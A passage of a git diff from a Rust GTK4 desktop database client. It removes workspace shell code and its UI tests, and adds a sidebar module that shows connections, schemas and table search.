-    let imp = workspace.imp();
-    describe_icon_button(
-        &imp.table_search_toggle.get(),
-        &crate::i18n::gettext("Search Tables"),
-        None,
-    );
-    describe_icon_button(
-        &imp.refresh_tables_button.get(),
-        &crate::i18n::gettext("Refresh Tables"),
-        Some("win.refresh-tables"),
-    );
-    describe_icon_button(
-        &imp.sidebar_toggle.get(),
-        &crate::i18n::gettext("Show Sidebar"),
-        Some("win.show-sidebar"),
-    );
-    describe_icon_button(
-        &imp.new_tab_button.get(),
-        &crate::i18n::gettext("New Query"),
-        Some("win.new-editor-tab"),
-    );
-    describe_icon_button(&imp.tab_button.get(), &crate::i18n::gettext("View Open Tabs"), None);
-    describe_icon_button(
-        &imp.assistant_toggle.get(),
-        &crate::i18n::gettext("Show the Assistant"),
-        Some("win.show-assistant"),
-    );
-}
-
-pub(super) fn install(
-    workspace: &Workspace,
-    window: &adw::ApplicationWindow,
-    factory: &Rc<TabFactory>,
-    services: &AppServices,
-    input: &WorkspaceSender,
-) -> ShellHandles {
-    let imp = workspace.imp();
-    let app = window.application();
-    let menu_button = primary_menu_button(app.as_ref());
-    if let Some(menu) = app_menu(app.as_ref(), PRIMARY_MENU) {
-        menu_button.set_menu_model(Some(&with_safe_mode(&menu)));
-    }
-    imp.sidebar_header.pack_end(&menu_button);
-
-    window.add_action(&gio::PropertyAction::new(
-        SHOW_SIDEBAR,
-        &imp.split_view.get(),
-        "show-sidebar",
-    ));
-    let sidebar_toggle = follow_sidebar(&imp.split_view, &imp.sidebar_toggle);
-
-    imp.tab_view
-        .bind_property("n-pages", &imp.tab_stack.get(), "visible-child-name")
-        .transform_to(|_, pages: i32| Some(if pages > 0 { "tabs" } else { "empty" }))
-        .sync_create()
-        .build();
-
-    let overview = imp.tab_overview.get();
-    if let Some(menu) = app_menu(app.as_ref(), TAB_OVERVIEW_MENU) {
-        overview.set_secondary_menu(Some(&menu));
-    }
-    // The overview selects the page it gets back.
-    let factory = factory.clone();
-    let create_tab = overview.connect_create_tab(move |_| factory.create_editor());
-    let saved_connections = services.saved_connections.clone();
-    let changed = input.clone();
-    let saved_connections_watch = saved_connections
-        .model()
-        .connect_items_changed(move |_, _, _, _| changed.deliver(WorkspaceInput::SavedConnectionsChanged));
-    ShellHandles {
-        overview: overview.downgrade(),
-        create_tab: Some(create_tab),
-        sidebar_toggle: Some(sidebar_toggle),
-        saved_connections,
-        saved_connections_watch: Some(saved_connections_watch),
-        connection_icon: imp.connection_icon.get(),
-    }
-}
-
-/// The main menu with the session's Safe Mode levels on top, as radio
-/// items of the window's stateful `safe-mode` action.
-fn with_safe_mode(menu: &gio::MenuModel) -> gio::Menu {
-    let levels = gio::Menu::new();
-    for level in tablepro_core::SafeModeLevel::ALL {
-        let item = gio::MenuItem::new(Some(&crate::ui::safe_mode::label(level)), None);
-        item.set_action_and_target_value(
-            Some("win.safe-mode"),
-            Some(&crate::ui::safe_mode::action_target(level).to_variant()),
-        );
-        levels.append_item(&item);
-    }
-    let section = gio::Menu::new();
-    section.append_submenu(Some(&crate::i18n::gettext("Safe Mode")), &levels);
-    let whole = gio::Menu::new();
-    whole.append_section(None, &section);
-    whole.append_section(None, menu);
-    whole
-}
-
-/// The toggle shows only while the sidebar is out of view: collapsed
-/// into an overlay, or hidden. Beside a shown sidebar it would only hide
-/// the list the user is looking at.
-fn follow_sidebar(split_view: &adw::OverlaySplitView, toggle: &gtk::ToggleButton) -> gtk::ExpressionWatch {
-    let collapsed = gtk::PropertyExpression::new(
-        adw::OverlaySplitView::static_type(),
-        None::<&gtk::Expression>,
-        "collapsed",
-    );
-    let shown = gtk::PropertyExpression::new(
-        adw::OverlaySplitView::static_type(),
-        None::<&gtk::Expression>,
-        "show-sidebar",
-    );
-    let visible = gtk::ClosureExpression::new::<bool>(
-        [collapsed, shown],
-        glib::closure!(|_: Option<glib::Object>, collapsed: bool, shown: bool| collapsed || !shown),
-    );
-    visible.bind(toggle, "visible", Some(split_view))
-}
-
-#[cfg(test)]
-pub(super) mod tests {
-    use std::time::Duration;
-
-    use libadwaita::prelude::*;
-
-    use super::*;
-    use crate::test_support::{descendants, wait_until};
-    use crate::ui::SessionWindowInput;
-    use crate::ui::session_window::tests::{Script, TestWindow};
-    use crate::ui::workspace::WorkspaceTab;
-
-    fn overview_new_tab_button(overview: &adw::TabOverview) -> gtk::Button {
-        descendants(overview)
-            .into_iter()
-            .find_map(|widget| {
-                let button = widget.downcast::<gtk::Button>().ok()?;
-                let content = button.child()?.downcast::<adw::ButtonContent>().ok()?;
-                (content.icon_name() == "adw-tab-new-symbolic").then_some(button)
-            })
-            .expect("the overview's new-tab button")
-    }
-
-    fn top_header(toolbar: &adw::ToolbarView) -> Option<adw::HeaderBar> {
-        let mut child = toolbar.first_child();
-        while let Some(widget) = child {
-            if let Some(header) = descendants(&widget)
-                .into_iter()
-                .chain(std::iter::once(widget.clone()))
-                .find_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
-            {
-                return Some(header);
-            }
-            child = widget.next_sibling();
-        }
-        None
-    }
-
-    fn sized(name: &str, width: i32, height: i32) -> TestWindow {
-        let test = TestWindow::with_script(
-            name,
-            Script {
-                window_size: Some((width, height)),
-                ..Script::default()
-            },
-        );
-        // GTK fits a remembered size to the monitor, and xvfb-run on Fedora gives a 640x480 one.
-        test.window.set_size_request(width, height);
-        test.window
-            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
-        test.wait_for_page("workspace");
-        test
-    }
-
-    #[gtk4::test]
-    fn each_pane_owns_its_header_bar() {
-        let test = TestWindow::connected("PaneHeaders");
-        let workspace = test.workspace();
-        let imp = workspace.imp();
-
-        let sidebar = top_header(&imp.sidebar_root).expect("the sidebar's header bar");
-        let content = top_header(&imp.content_root).expect("the content's header bar");
-
-        assert_eq!(sidebar, imp.sidebar_header.get());
-        assert_eq!(content, imp.content_header.get());
-        let assistant = descendants(&imp.assistant_pane.get())
-            .into_iter()
-            .find_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
-            .expect("the assistant's header bar");
-        // The overview draws a header bar of its own while it is open.
-        let headers: Vec<adw::HeaderBar> = descendants(&imp.breakpoint_bin.get())
-            .into_iter()
-            .filter_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
-            .collect();
-        assert_eq!(headers.len(), 3, "a header bar outside the three panes");
-        assert!(headers.contains(&sidebar) && headers.contains(&content) && headers.contains(&assistant));
-        assert!(
-            descendants(&imp.sidebar_header.get()).iter().any(|widget| {
-                widget
-                    .downcast_ref::<gtk::MenuButton>()
-                    .is_some_and(gtk::MenuButton::is_primary)
-            }),
-            "the main menu is not in the sidebar's header bar"
-        );
-    }
-
-    #[gtk4::test]
-    fn tab_overview_is_the_window_content() {
-        let test = TestWindow::connected("OverviewRoot");
-
-        let content = test.window.content().expect("the window's content");
-        let workspace = content.downcast::<Workspace>().expect("the workspace page");
-        let overview = workspace
-            .child()
-            .and_downcast::<adw::TabOverview>()
-            .expect("the overview as the workspace's only child");
-
-        assert_eq!(overview.view(), Some(workspace.imp().tab_view.get()));
-        assert!(
-            overview.child().is_some_and(|child| child.is::<adw::BreakpointBin>()),
-            "the overview does not hold the header bars"
-        );
-    }
-
-    #[gtk4::test]
-    fn tab_bar_is_a_content_top_bar() {
-        let test = TestWindow::connected("TabBarTop");
-        let workspace = test.workspace();
-        let imp = workspace.imp();
-
-        let bar = imp.tab_bar.get();
-
-        assert_eq!(bar.view(), Some(imp.tab_view.get()));
-        assert!(bar.is_autohide());
-        assert_eq!(
-            bar.ancestor(adw::ToolbarView::static_type()).as_ref(),
-            Some(imp.content_root.upcast_ref::<gtk::Widget>())
-        );
-        assert!(
-            bar.ancestor(gtk::Stack::static_type()).is_none(),
-            "the tab bar sits in the tab area, not above it"
-        );
-    }
-
-    #[gtk4::test]
-    fn show_sidebar_action_toggles_split_view() {
-        let test = TestWindow::connected("ShowSidebar");
-        let split = test.workspace().imp().split_view.get();
-        assert!(split.shows_sidebar());
-
-        WidgetExt::activate_action(&test.window, "win.show-sidebar", None).expect("win.show-sidebar");
-        assert!(!split.shows_sidebar());
-
-        WidgetExt::activate_action(&test.window, "win.show-sidebar", None).expect("win.show-sidebar");
-        assert!(split.shows_sidebar());
-    }
-
-    #[gtk4::test]
-    fn sidebar_toggle_visible_only_when_collapsed_or_hidden() {
-        let test = TestWindow::connected("SidebarToggle");
-        let workspace = test.workspace();
-        let imp = workspace.imp();
-        let (split, toggle) = (imp.split_view.get(), imp.sidebar_toggle.get());
-        split.set_collapsed(false);
-        split.set_show_sidebar(true);
-        assert!(!toggle.is_visible(), "shown beside a sidebar in view");
-
-        split.set_show_sidebar(false);
-        assert!(toggle.is_visible(), "hidden with the sidebar hidden");
-
-        split.set_show_sidebar(true);
-        split.set_collapsed(true);
-        assert!(toggle.is_visible(), "hidden with the sidebar collapsed");
-        assert_eq!(toggle.action_name().as_deref(), Some("win.show-sidebar"));
-    }
-
-    #[gtk4::test]
-    fn narrow_window_swaps_tab_bar_for_tab_button() {
-        let test = sized("Narrow", 360, 294);
-        let workspace = test.workspace();
-        let imp = workspace.imp();
-
-        wait_until(Duration::from_secs(2), || {
-            imp.breakpoint_bin.current_breakpoint().as_ref() == Some(&imp.narrow_breakpoint.get())
-        })
-        .expect("the narrow breakpoint to apply");
-
-        assert!(!imp.tab_bar.is_visible(), "the tab bar stayed");
-        assert!(imp.tab_button.is_visible(), "no tab button took its place");
-        assert!(imp.split_view.is_collapsed());
-    }
-
-    #[gtk4::test]
-    fn wide_window_shows_tab_bar() {
-        let test = sized("Wide", 1200, 760);
-        let workspace = test.workspace();
-        let imp = workspace.imp();
-        wait_until(Duration::from_secs(2), || {
-            imp.breakpoint_bin.width() > 0 && imp.breakpoint_bin.current_breakpoint().is_none()
-        })
-        .expect("the workspace laid out with no breakpoint");
-
-        assert_eq!(imp.breakpoint_bin.current_breakpoint(), None);
-        assert!(imp.tab_bar.is_visible());
-        assert!(!imp.tab_button.is_visible());
-        assert!(!imp.split_view.is_collapsed());
-    }
-
-    fn fits_the_floor(root: &gtk::Widget) {
-        let (min_width, ..) = root.measure(gtk::Orientation::Horizontal, -1);
-        let (min_height, ..) = root.measure(gtk::Orientation::Vertical, 360);
-        assert!(min_width <= 360, "{} needs {min_width} px wide", root.type_().name());
-        assert!(min_height <= 294, "{} needs {min_height} px high", root.type_().name());
-    }
-
-    #[gtk4::test]
-    fn every_page_fits_the_window_floor() {
-        use tablepro_session::fakes::FakeEstablish;
-        use tablepro_test_support::ConnectionScript;
-        let test = TestWindow::with_script(
-            "Floor",
-            Script {
-                establish: vec![
-                    FakeEstablish::Late {
-                        after: Duration::from_secs(3),
-                        script: ConnectionScript::default(),
-                    },
-                    crate::ui::session_window::tests::refused(),
-                ],
-                ..Script::default()
-            },
-        );
-        assert_eq!(test.window.size_request(), (360, 294));
-        let content = || test.window.content().expect("a page");
-        fits_the_floor(&content());
-
-        test.window
-            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
-        test.wait_for_page("connecting");
-        fits_the_floor(&content());
-        // A cancel before the driver is asked leaves the late connect for
-        // the next attempt.
-        wait_until(Duration::from_secs(10), || !test.connector.calls().is_empty())
-            .expect("the connect to reach the driver");
-
-        test.window.send(SessionWindowInput::CancelConnect);
-        test.wait_for_page("picker");
-        test.window
-            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
-        test.wait_for_page("connect-failed");
-        fits_the_floor(&content());
-
-        test.window.send(SessionWindowInput::RetryConnect);
-        test.wait_for_page("workspace");
-        fits_the_floor(&content());
-    }
-
-    /// A server with one keyed table, whose every page is the same
-    /// thousand rows.
-    pub(in crate::ui::workspace) fn served_table() -> tablepro_test_support::ConnectionScript {
-        use tablepro_core::column::{ColumnDefault, ColumnType};
-        use tablepro_core::meta::{RowCountEstimate, RowIdentity, TableEstimate};
-        use tablepro_core::{ColumnInfo, QueryResult, Value};
-        use tablepro_test_support::FakeReply;
-        let column = |name: &str, primary_key: bool| ColumnInfo {
-            name: name.to_owned(),
-            column_type: ColumnType::untyped_text("text"),
-            nullable: !primary_key,
-            primary_key,
-            is_auto_increment: false,
-            is_generated: false,
-            partition_scoped: false,
-            default: ColumnDefault::None,
-            comment: None,
-        };
-        let columns = vec![column("id", true), column("name", false)];
-        let page = QueryResult::new(
-            columns.iter().map(ColumnInfo::result_column).collect::<Vec<_>>(),
-            (0..1_000)
-                .map(|id| vec![Value::Int(id), Value::Text(format!("customer {id}"))])
-                .collect(),
-        );
-        let mut script = tablepro_test_support::ConnectionScript::default();
-        script.fetch_columns.always(FakeReply::ok(columns));
-        script.row_identity.always(FakeReply::ok(RowIdentity::UniqueKey {
-            columns: vec!["id".to_owned()],
-        }));
-        // Too many rows to count unasked, so Count Rows stays on the bar.
-        script.table_estimate.always(FakeReply::ok(TableEstimate {
-            rows: RowCountEstimate::Approximate(48_213_000),
-            heap_blocks: None,
-        }));
-        script.query_bound.always(FakeReply::ok(page));
-        script
-    }
-
-    /// The floor measured on the tab's own content, with its widest
-    /// bars up: the pager's longest label, pending changes and the
-    /// filter strip.
-    #[gtk4::test]
-    fn an_open_table_tab_fits_the_window_floor() {
-        use crate::ui::browse_tab::{BrowseTab, PagingInput};
-        let test = TestWindow::with_script(
-            "TableFloor",
-            Script {
-                connection: served_table(),
-                window_size: Some((360, 294)),
-                ..Script::default()
-            },
-        );
-        test.window
-            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
-        test.wait_for_page("workspace");
-        let workspace = test.workspace();
-        let page = workspace
-            .with_model(|model| {
-                model.open_tab(super::super::tab_spec::TabSpec::Table {
-                    table: tablepro_core::meta::TableRef::new(Some("public".to_owned()), "customers"),
-                    page: super::super::tab_spec::TablePage::first(1_000),
-                    filter: crate::ui::browse_tab::TableFilter::Remembered,
-                })
-            })
-            .flatten()
-            .expect("a table tab");
-        let tab = page.child().downcast::<BrowseTab>().expect("a browse tab");
-        let wait = Duration::from_secs(10);
-        wait_until(wait, || tab.grid().row_count() > 0).expect("the tab's rows");
-        tab.activate_action("grid.insert-row", None)
-            .expect("the tab inserts rows");
-        let content =
-            crate::test_support::first_descendant_of_type::<adw::ToolbarView>(&tab).expect("the tab's toolbar view");
-        let needs = || {
-            let (width, ..) = content.measure(gtk::Orientation::Horizontal, -1);
-            if width > tab.width() {
-                return (width, i32::MAX);
-            }
-            (width, content.measure(gtk::Orientation::Vertical, tab.width()).0)
-        };
-
-        let fits = wait_until(wait, || {
-            let (width, height) = needs();
-            tab.width() > 0 && width <= 360 && height <= tab.height()
-        });
-        assert!(
-            fits.is_ok(),
-            "an open table tab needs {:?} px, the tab has {}x{}",
-            needs(),
-            tab.width(),
-            tab.height()
-        );
-
-        // Measured as it opens: at the floor's height the strip and the
-        // grid cannot both have room, so the strip is checked for width.
-        tab.send(PagingInput::ToggleFilterStrip);
-        let (with_filter, ..) = content.measure(gtk::Orientation::Horizontal, -1);
-        tab.send(PagingInput::ToggleFilterStrip);
-        assert!(with_filter <= 360, "the filter strip needs {with_filter} px");
-    }
-
-    #[gtk4::test]
-    fn overview_new_tab_uses_tab_factory() {
-        let test = TestWindow::connected("OverviewNewTab");
-        let workspace = test.workspace();
-        let overview = workspace.imp().tab_overview.get();
-
-        // As the overview's own button emits it: create-tab hands back a
-        // page it does not own, which emit_by_name would release.
-        overview_new_tab_button(&overview).emit_clicked();
-        let page = workspace.imp().tab_view.selected_page().expect("the new tab's page");
-
-        let slot = workspace
-            .read(|model| {
-                let id = model.index.id_of(&page)?;
-                let tabs = model.workspace_tabs.borrow();
-                Some(matches!(tabs.get(&id), Some(WorkspaceTab::Editor(_))))
-            })
-            .flatten();
-        assert_eq!(slot, Some(true), "the page has no editor slot in the index");
-        assert_eq!(page.title(), "Query 1");
-    }
-
-    #[gtk4::test]
-    fn primary_menu_has_no_quit() {
-        let test = TestWindow::picker("PrimaryMenu");
-        let menu = test.app.menu_by_id("primary_menu").expect("the primary menu");
-        let mut actions = Vec::new();
-        for section in 0..menu.n_items() {
-            let Some(items) = menu.item_link(section, "section") else {
-                continue;
-            };
-            for item in 0..items.n_items() {
-                if let Some(action) = items
-                    .item_attribute_value(item, "action", None)
-                    .and_then(|value| value.get::<String>())
-                {
-                    actions.push(action);
-                }
-            }
-        }
-
-        for expected in ["app.new-window", "app.preferences", "app.shortcuts", "app.about"] {
-            assert!(actions.iter().any(|action| action == expected), "{expected} is missing");
-        }
-        assert!(!actions.iter().any(|action| action == "app.quit"), "the menu has Quit");
-        assert!(
-            test.app.menu_by_id("tab_overview_menu").is_some(),
-            "the overview's menu is missing"
-        );
-    }
-
-    #[gtk4::test]
-    fn f9_toggles_sidebar() {
-        let test = TestWindow::picker("F9");
-
-        assert_eq!(test.app.accels_for_action("win.show-sidebar"), ["F9"]);
-    }
-}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs b/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
new file mode 100644
index 0000000000..9b6a5c9acd
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
@@ -0,0 +1,1483 @@
+//! The window's sidebar: the saved connections in their groups, and
+//! under each connection open in the window its schemas and their
+//! tables. A search shows what it finds in a flat list beside the tree,
+//! a section for the connections it names and one for each schema it
+//! finds tables in, so the tree's own rows stay open or folded as the
+//! user left them, and clearing the search shows them as they were. The
+//! flat list makes objects only for the rows on screen, which a tree
+//! cannot: GtkTreeListModel reads every child of a row it opens.
+
+use std::cell::{Cell, RefCell};
+use std::collections::{HashMap, HashSet};
+use std::rc::{Rc, Weak};
+
+use gtk4 as gtk;
+use gtk4::prelude::*;
+use gtk4::{gdk, gio, glib, graphene, pango};
+use libadwaita as adw;
+use tablepro_core::meta::TableRef;
+use tablepro_session::SessionKey;
+use uuid::Uuid;
+
+use super::object_key::ObjectKey;
+use super::sidebar_menu::{GROUP, object_menu, schema_menu};
+use super::sidebar_object::SidebarObject;
+use super::sidebar_view::{Holds, RowsObserverId, SidebarView};
+use super::store_sync;
+use super::tree_menu::{InWindow, SHOW_CONNECT_FAILURE, SHOW_SESSION, session_section};
+use super::tree_node::{NodeKind, TreeNode};
+use super::tree_row::TreeRow;
+use crate::application::{ShortcutOwner, local_shortcut_controller};
+use crate::services::connection_search::ConnectionSearch;
+use crate::services::saved_connection_list::{SavedConnectionList, StateObserverId};
+use crate::services::saved_connection_object::SavedConnectionObject;
+use crate::services::saved_connection_order;
+
+/// The tree's own action: the menu of the row the keyboard is on.
+const TREE: &str = "tree";
+const CONTEXT_MENU: &str = "context-menu";
+
+const TREE_PAGE: &str = "tree";
+const FOUND_PAGE: &str = "found";
+const NOTHING_PAGE: &str = "nothing";
+
+/// How an open session is doing, as its connection's row shows it.
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub(crate) enum SessionRowState {
+    #[default]
+    Ready,
+    /// Reconnecting, or otherwise at work for a while.
+    Busy,
+    /// Lost or failing, and why.
+    Trouble(String),
+}
+
+#[derive(Clone)]
+pub(crate) struct ConnectionTree {
+    pub(super) inner: Rc<TreeInner>,
+}
+
+/// The tree's list, or the list of what the search finds.
+pub(super) struct Pane {
+    pub(super) list_view: gtk::ListView,
+    pub(super) selection: gtk::SingleSelection,
+}
+
+/// Which of the two lists.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(super) enum Which {
+    Tree,
+    Found,
+}
+
+pub(super) struct TreeInner {
+    pub(super) root: gtk::Stack,
+    pub(super) tree: Pane,
+    pub(super) found: Pane,
+    pub(super) rows: gtk::TreeListModel,
+    /// What the search finds: a section per model of `sections`.
+    pub(super) results: gtk::FlattenListModel,
+    /// The connections the search names, then each open session's
+    /// schemas' found tables, in the tree's order.
+    sections: gio::ListStore,
+    /// What each of `sections` is, in its order.
+    headings: RefCell<Vec<Heading>>,
+    /// Every connection, in the tree's order.
+    connections: gio::ListStore,
+    /// The connections the search names, over `connections` only while
+    /// there is a search.
+    named: gtk::FilterListModel,
+    matches: gtk::CustomFilter,
+    pub(super) popover: gtk::PopoverMenu,
+    /// The connections in no group, then the groups, then the
+    /// connections the window holds that no saved connection names.
+    roots: gio::ListStore,
+    /// Each group's node, by its name as the user wrote it: groups that
+    /// differ only in case are two, as in the picker.
+    groups: RefCell<HashMap<String, TreeNode>>,
+    /// Every connection's node, which keeps its row whatever the list
+    /// does around it.
+    nodes: RefCell<HashMap<SessionKey, TreeNode>>,
+    branches: RefCell<HashMap<SessionKey, Branch>>,
+    /// The connects the window runs, with the names they show under.
+    connects: RefCell<HashMap<SessionKey, String>>,
+    /// Why each key's last connect failed, until its next one.
+    failures: RefCell<HashMap<SessionKey, String>>,
+    saved: Rc<SavedConnectionList>,
+    saved_watch: Cell<Option<StateObserverId>>,
+    /// The search as typed, trimmed; empty for none.
+    query: RefCell<String>,
+    search: RefCell<ConnectionSearch>,
+    search_watch: RefCell<Option<(glib::WeakRef<gtk::SearchEntry>, glib::SignalHandlerId)>>,
+    /// The table of the tab in front, or its session, which the
+    /// selection follows.
+    followed: RefCell<Option<Followed>>,
+    /// The table a middle press went down on. A new list can bind its
+    /// row to another table before the release.
+    middle: RefCell<Option<(SessionKey, TableRef)>>,
+}
+
+/// An open session's part of the tree.
+struct Branch {
+    view: SidebarView,
+    observer: RowsObserverId,
+    state: SessionRowState,
+    /// The lone schema the tree opened, so a lone schema opens once, as
+    /// it comes: its row says nothing the connection's does not.
+    lone: Option<TreeNode>,
+}
+
+/// A section of what the search finds: the session whose tables it
+/// holds, none for the connections, and its heading.
+struct Heading {
+    model: glib::Object,
+    key: Option<SessionKey>,
+    title: String,
+}
+
+/// What the selection follows, and whether its row is still to be
+/// opened and scrolled to: its list was not read yet, or the row's
+/// parents were never opened.
+#[derive(Clone)]
+struct Followed {
+    key: SessionKey,
+    table: Option<TableRef>,
+    unrevealed: bool,
+}
+
+impl ConnectionTree {
+    pub(crate) fn new(saved: Rc<SavedConnectionList>) -> Self {
+        let inner = Rc::new_cyclic(|tree: &Weak<TreeInner>| {
+            let finding = tree.clone();
+            let matches = gtk::CustomFilter::new(move |item| finding.upgrade().is_some_and(|tree| tree.finds(item)));
+            let roots = gio::ListStore::new::<TreeNode>();
+            let rows = tree_model(&roots);
+            let connections = gio::ListStore::new::<TreeNode>();
+            let named = gtk::FilterListModel::new(None::<gio::ListModel>, Some(matches.clone()));
+            let sections = gio::ListStore::new::<gio::ListModel>();
+            let results = gtk::FlattenListModel::new(Some(sections.clone()));
+            let tree_pane = Pane::new(&rows, &crate::i18n::gettext("Connections"));
+            let found_pane = Pane::new(&results, &crate::i18n::gettext("Search Results"));
+            let root = pages(&tree_pane, &found_pane);
+            let popover = gtk::PopoverMenu::from_model(None::<&gio::MenuModel>);
+            popover.set_has_arrow(true);
+            popover.set_parent(&root);
+            TreeInner {
+                root,
+                tree: tree_pane,
+                found: found_pane,
+                rows,
+                results,
+                headings: RefCell::new(Vec::new()),
+                sections,
+                connections,
+                named,
+                matches,
+                popover,
+                roots,
+                groups: RefCell::new(HashMap::new()),
+                nodes: RefCell::new(HashMap::new()),
+                branches: RefCell::new(HashMap::new()),
+                connects: RefCell::new(HashMap::new()),
+                failures: RefCell::new(HashMap::new()),
+                saved,
+                saved_watch: Cell::new(None),
+                query: RefCell::new(String::new()),
+                search: RefCell::new(ConnectionSearch::default()),
+                search_watch: RefCell::new(None),
+                followed: RefCell::new(None),
+                middle: RefCell::new(None),
+            }
+        });
+        for which in [Which::Tree, Which::Found] {
+            connect_pane(&inner, which);
+        }
+        install_actions(&inner);
+        // One rebuild per list the store publishes: a write patches the
+        // list a step at a time, and a step can hold a connection twice.
+        let tree = Rc::downgrade(&inner);
+        let watch = inner.saved.connect_state_changed(move |_| {
+            if let Some(tree) = tree.upgrade() {
+                tree.rebuild();
+            }
+        });
+        inner.saved_watch.set(Some(watch));
+        inner.rebuild();
+        Self { inner }
+    }
+
+    pub(crate) fn widget(&self) -> gtk::Widget {
+        self.inner.root.clone().upcast()
+    }
+
+    /// Search as the user types in `entry`, and for what it holds now:
+    /// the connections it finds, and the tables each open session finds.
+    pub(crate) fn follow_search(&self, entry: &gtk::SearchEntry) {
+        let tree = Rc::downgrade(&self.inner);
+        let handler = entry.connect_search_changed(move |entry| {
+            if let Some(tree) = tree.upgrade() {
+                tree.apply_query(&entry.text());
+            }
+        });
+        let previous = self.inner.search_watch.replace(Some((entry.downgrade(), handler)));
+        if let Some((entry, handler)) = previous
+            && let Some(entry) = entry.upgrade()
+        {
+            entry.disconnect(handler);
+        }
+        self.inner.apply_query(&entry.text());
+    }
+
+    /// The session under `key` joined the window: its row lists its
+    /// schemas, and opens once, on them. `title` names a session no saved
+    /// connection describes.
+    pub(crate) fn add_session(&self, key: &SessionKey, title: &str, sidebar: &SidebarView) {
+        let inner = &self.inner;
+        let node = inner.node_for(key, title);
+        if inner.saved_name(key).is_none() && node.title() != title {
+            node.set_title(title);
+        }
+        node.set_children(Some(sidebar.rows()));
+        let tree = Rc::downgrade(inner);
+        let shown = key.clone();
+        let observer = sidebar.connect_rows_shown(move || {
+            if let Some(tree) = tree.upgrade() {
+                tree.on_rows_shown(&shown);
+            }
+        });
+        let replaced = inner.branches.borrow_mut().insert(
+            key.clone(),
+            Branch {
+                view: sidebar.clone(),
+                observer,
+                state: SessionRowState::Ready,
+                lone: None,
+            },
+        );
+        if let Some(replaced) = replaced {
+            replaced.view.disconnect_rows_shown(replaced.observer);
+        }
+        inner.refresh_state(key);
+        inner.reinsert(&node);
+        inner.rebuild();
+        inner.reveal(&node);
+        inner.tell_search(key);
+        inner.on_rows_shown(key);
+    }
+
+    /// The session under `key` left the window: its row lists nothing.
+    pub(crate) fn remove_session(&self, key: &SessionKey) {
+        let inner = &self.inner;
+        let Some(branch) = inner.branches.borrow_mut().remove(key) else {
+            return;
+        };
+        branch.view.disconnect_rows_shown(branch.observer);
+        let node = inner.nodes.borrow().get(key).cloned();
+        if let Some(node) = &node {
+            node.set_children(None);
+        }
+        inner.refresh_state(key);
+        if let Some(node) = &node {
+            inner.reinsert(node);
+        }
+        let followed = inner
+            .followed
+            .borrow()
+            .as_ref()
+            .is_some_and(|followed| &followed.key == key);
+        if followed {
+            inner.followed.replace(None);
+        }
+        inner.rebuild();
+    }
+
+    /// The connects the window runs now, each with the name its row
+    /// shows when no saved connection names it.
+    pub(crate) fn set_connects(&self, connects: &[(SessionKey, String)]) {
+        let inner = &self.inner;
+        for (key, name) in connects {
+            inner.node_for(key, name);
+        }
+        let running: HashMap<SessionKey, String> = connects.iter().cloned().collect();
+        let before = inner.connects.replace(running);
+        for key in before.keys().chain(connects.iter().map(|(key, _)| key)) {
+            inner.refresh_state(key);
+        }
+        inner.rebuild();
+    }
+
+    /// The name and the reason of the last failed connect of `key`, or
+    /// `None` once another starts or the window lets it go. A key no
+    /// saved connection names keeps a row of its own while it failed.
+    pub(crate) fn set_failure(&self, key: &SessionKey, failure: Option<(&str, &str)>) {
+        let inner = &self.inner;
+        match failure {
+            Some((name, reason)) => {
+                inner.node_for(key, name);
+                inner.failures.borrow_mut().insert(key.clone(), reason.to_owned());
+            }
+            None => {
+                if inner.failures.borrow_mut().remove(key).is_none() {
+                    return;
+                }
+            }
+        }
+        inner.refresh_state(key);
+        inner.rebuild();
+    }
+
+    pub(crate) fn set_session_state(&self, key: &SessionKey, state: SessionRowState) {
+        let inner = &self.inner;
+        match inner.branches.borrow_mut().get_mut(key) {
+            Some(branch) => branch.state = state,
+            None => return,
+        }
+        inner.refresh_state(key);
+    }
+
+    /// Select the row of `table` under the session `key`, opening the
+    /// rows above it, or the connection's row when the tab in front
+    /// shows no table or the tree does not list it; with no session in
+    /// front, no row. The rows open only when the tab in front changes,
+    /// so a row the user folded stays folded while the tab stays. The
+    /// keyboard stays in the tab.
+    pub(crate) fn select(&self, key: Option<&SessionKey>, table: Option<&TableRef>) {
+        let inner = &self.inner;
+        let Some(key) = key else {
+            inner.followed.replace(None);
+            inner.unselect(&inner.tree);
+            inner.unselect(&inner.found);
+            return;
+        };
+        let same =
+            inner.followed.borrow().as_ref().is_some_and(|followed| {
+                &followed.key == key && followed.table.as_ref() == table && !followed.unrevealed
+            });
+        let shown = inner.show_selection(key, table, !same);
+        // A row it could not reveal is revealed once its list lands; one
+        // the user folded since stays folded.
+        inner.followed.replace(Some(Followed {
+            key: key.clone(),
+            table: table.cloned(),
+            unrevealed: !same && !shown,
+        }));
+    }
+
+    pub(crate) fn shutdown(&self) {
+        let inner = &self.inner;
+        if let Some(watch) = inner.saved_watch.take() {
+            inner.saved.disconnect_state_changed(watch);
+        }
+        if let Some((entry, handler)) = inner.search_watch.take()
+            && let Some(entry) = entry.upgrade()
+        {
+            entry.disconnect(handler);
+        }
+        inner.popover.popdown();
+        if inner.popover.parent().is_some() {
+            inner.popover.unparent();
+        }
+        let branches: Vec<Branch> = inner.branches.take().into_values().collect();
+        for branch in branches {
+            branch.view.disconnect_rows_shown(branch.observer);
+        }
+        inner.followed.replace(None);
+        inner.named.set_model(None::<&gio::ListModel>);
+    }
+}
+
+impl Pane {
+    fn new(model: &impl IsA<gio::ListModel>, label: &str) -> Self {
+        let selection = gtk::SingleSelection::new(Some(model.clone()));
+        selection.set_autoselect(false);
+        selection.set_can_unselect(true);
+        let list_view = gtk::ListView::new(Some(selection.clone()), None::<gtk::ListItemFactory>);
+        list_view.add_css_class("navigation-sidebar");
+        // A click opens a table or a connection, as the picker's rows
+        // do; Enter and a double click reach the same activate.
+        list_view.set_single_click_activate(true);
+        list_view.update_property(&[gtk::accessible::Property::Label(label)]);
+        Self { list_view, selection }
+    }
+}
+
+impl TreeInner {
+    fn pane(&self, which: Which) -> &Pane {
+        match which {
+            Which::Tree => &self.tree,
